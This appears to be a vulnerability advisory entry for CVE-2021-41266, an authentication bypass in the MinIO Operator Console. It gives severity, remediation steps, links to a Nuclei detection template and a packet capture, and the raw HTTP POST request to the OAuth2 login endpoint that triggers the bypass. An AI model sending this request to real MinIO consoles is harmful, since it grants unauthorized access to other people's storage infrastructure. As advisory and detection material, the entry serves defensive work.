| Title | MinIO Operator Console Authentication Bypass |
|---|---|
| Author | alevsk |
| Severity | Critical |
| Impact | An attacker can bypass authentication and gain unauthorized access to the MinIO Operator Console. |
| Remediation | Update to v.0.12.3 or higher. Users unable to upgrade should add automountServiceAccountToken: false to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET and CONSOLE_IDP_CALLBACK environment variable and instead use the Kubernetes service account token. |
| CVSS Score | 9.8 |
| EPSS Score | 0.79997 |
| CVE ID | CVE-2021-41266 |
| CWE ID | CWE-306 |
| Tags | cve2021 cve minio min vkev vuln |
MinIO Console is a graphical user interface for the for MinIO Operator. MinIO itself is a multi-cloud object storage project. Affected versions are subject to an authentication bypass issue in the Operator Console when an external IDP is enabled.
POST /api/v1/login/oauth2/auth HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586
Connection: close
Content-Length: 30
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip
{"code":"test","state":"test"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41266.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-41266.pcap
N/AN/A